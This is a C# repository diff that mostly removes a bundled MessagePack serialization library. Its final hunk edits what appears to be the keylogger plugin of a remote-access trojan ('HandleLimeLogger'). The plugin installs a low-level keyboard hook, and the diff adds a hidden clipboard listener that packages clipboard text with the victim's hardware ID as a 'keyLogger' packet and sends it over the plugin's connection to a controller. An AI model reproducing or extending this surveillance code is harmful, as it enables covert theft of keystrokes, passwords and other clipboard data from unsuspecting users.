byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -1,927 +0,0 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return Zip.Compress(r);
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -1,24 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

View File

@ -1,84 +0,0 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -1,199 +0,0 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -36,6 +36,58 @@ namespace Plugin
}
}
public class ClipboardNotification : Form
{
public ClipboardNotification()
{
SetParent(Handle, HWND_MESSAGE);
AddClipboardFormatListener(Handle);
}
protected override void WndProc(ref Message m)
{
if (m.Msg == WM_CLIPBOARDUPDATE)
{
Debug.WriteLine($"Clipboard {Clipboard.GetCurrentText()}");
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("log").AsString = $"\n\r[Clipboard]\n{Clipboard.GetCurrentText()}\n\r";
Connection.Send(msgpack.Encode2Bytes());
}
base.WndProc(ref m);
}
private const int WM_CLIPBOARDUPDATE = 0x031D;
private static IntPtr HWND_MESSAGE = new IntPtr(-3);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool AddClipboardFormatListener(IntPtr hwnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
}
internal static class Clipboard
{
public static string GetCurrentText()
{
string ReturnValue = string.Empty;
Thread STAThread = new Thread(
delegate ()
{
ReturnValue = System.Windows.Forms.Clipboard.GetText();
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
return ReturnValue;
}
}
public static class HandleLimeLogger
{
public static bool isON = false;
@ -57,7 +109,7 @@ namespace Plugin
GC.Collect();
Application.Exit();
}).Start();
Application.Run();
Application.Run(new ClipboardNotification());
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
@ -88,7 +140,6 @@ namespace Plugin
int vkCode = Marshal.ReadInt32(lParam);
bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;
bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
bool ctrlPressed = (GetKeyState(0xA2) & 0x8000) != 0 || (GetKeyState(0xA3) & 0x8000) != 0;
